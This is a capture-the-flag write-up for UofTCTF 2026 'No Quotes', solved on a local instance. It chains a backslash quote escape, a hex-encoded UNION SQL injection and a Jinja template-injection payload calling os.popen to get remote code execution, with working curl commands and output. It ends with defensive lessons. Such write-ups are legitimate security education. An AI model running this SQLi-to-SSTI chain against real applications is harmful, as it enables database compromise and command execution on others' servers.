UofTCTF 2026 — No Quotes Writeup

A two-character quote ban, escaping the closing quote with a backslash, a hex-encoded UNION injection, and an SSTI in /home via render_template_string that ends in RCE.

4 min read
ibrahimsql
708 words

UofTCTF 2026 — No Quotes

A login portal themed around "Go Go Squid!". Because the source was provided I solved it white-box: ' and " are banned, but the SQL query is built with an f-string and /home calls render_template_string directly. Stack the two weaknesses and you reach RCE without ever sending a quote through the WAF.

Scope: a local instance I stood up myself. No external system was touched.

1. Source review

The login query is built by embedding user input straight into the string:

Python
query = (
    "SELECT id, username FROM users "
    f"WHERE username = ('{username}') AND password = ('{password}')"
)

The only thing filtering input is two characters:

def waf(value: str) -> bool:
    blacklist = ["'", '"']
    return any(char in value for char in blacklist)

On login, /home does this:

return render_template_string(open("templates/home.html").read() % session["user"])

session["user"] is the username column the query returned. home.html contains %s, so the string coming back from the database is first written into the template with % formatting and then compiled as Jinja source. If I can make a controllable username, that is SSTI → RCE.

The chain: WAF → backslash escape → hex-encoded UNION → SSTI → /readflag.

2. Setting up the environment

The archive ships a Docker setup; I have no daemon here, so I installed the same stack natively (MariaDB + the application, unmodified).

Bash
python3 -m venv /tmp/noq-venv
/tmp/noq-venv/bin/pip install flask==3.0.3 pymysql==1.1.1
# MariaDB installed, ctf/ctf user and ctf database ready
cd src/src && /tmp/noq-venv/bin/python app.py   # if :5000 is taken

Port 5000 is held by AirPlay on macOS, so I started the app on 5001 without changing its code:

/tmp/noq-venv/bin/python -c "import app; app.ensure_db(); app.app.run(host='127.0.0.1', port=5001, debug=False)"

In the container only root can read the flag, and /readflag is setuid (readflag.c: setuid(0); system("cat /root/flag.txt")). The local run has no root privilege, so I emulated the same read with /tmp/readflag. The archive flag is fixed in the Dockerfile: uoftctf{fake_flag}.

3. Verifying the WAF

curl -s -X POST http://127.0.0.1:5001/login \
  --data-urlencode "username=admin'" --data-urlencode "password=x" | grep -o "No quotes allowed!"
# No quotes allowed!

Quotes are banned. The classic ' OR 1=1-- - is dead. But the input is already placed inside quotes, and MySQL/MariaDB treats backslash as an escape character: \ escapes the closing quote and shifts the parse.

I tried the string directly with pymysql. username is \, password carries the injection:

q = "SELECT id, username FROM users WHERE username = ('\\') AND password = (') UNION SELECT 1,CONVERT(0x<hex> USING utf8mb4)#')"
Q: ... WHERE username = ('\') AND password = (') UNION SELECT 1,CONVERT(0x7b7b20.. USING utf8mb4)#')
ROW: (1, "{{ cycler.__init__.__globals__.os.popen('/tmp/readflag').read() }}")

How it works: \' escapes the closing quote → the username string extends and the password field spills out of the query; ) opens the injection point and # comments out the rest. The second column returned is our string.

No banned character appears: the payload string travels as a 0x... hex literal, converted to text with CONVERT(... USING utf8mb4). Not a single quote crosses the wire.

4. End-to-end exploit

Bash
B=http://127.0.0.1:5001
PAYLOAD="{{ cycler.__init__.__globals__.os.popen('id; /tmp/readflag').read() }}"
HEX=$(printf '%s' "$PAYLOAD" | xxd -p | tr -d '\n')
INJ_PW=") UNION SELECT 1,CONVERT(0x$HEX USING utf8mb4)#"
 
curl -s -c /tmp/cj -X POST $B/login \
  --data-urlencode 'username=\' --data-urlencode "password=$INJ_PW" -o /dev/null -w "login=%{http_code}\n"
# login=302

302 → logged in and session["user"] is now the Jinja payload. When /home renders, the template executes:

curl -s -b /tmp/cj $B/home | grep -oE "uid=[^<]*|uoftctf\{[^}]*\}"
uid=501(ibrahim) gid=20(staff) groups=20(staff),101(access_bpf),12(everyone),61(localaccounts),79(_appserverusr),80(admin),...
uoftctf{fake_flag}

os.popen ran the command (RCE) and /readflag returned the flag.

5. Flag and lessons

The final step inside the container is /readflag:

uoftctf{fake_flag}

The archive flag is fixed in the Dockerfile; a real event generates a different one per instance. What is demonstrated here is the chain itself.

Lesson: a two-character blacklist is not input sanitization. The quote ban is bypassed with a backslash, and taking a value that came back from the database, writing it into a template with %, and handing it to render_template_string is RCE on its own. Carry input with parameterized queries, and never turn user data into template source.

---
Share this post:

What do you think?

React to show your appreciation

Related Posts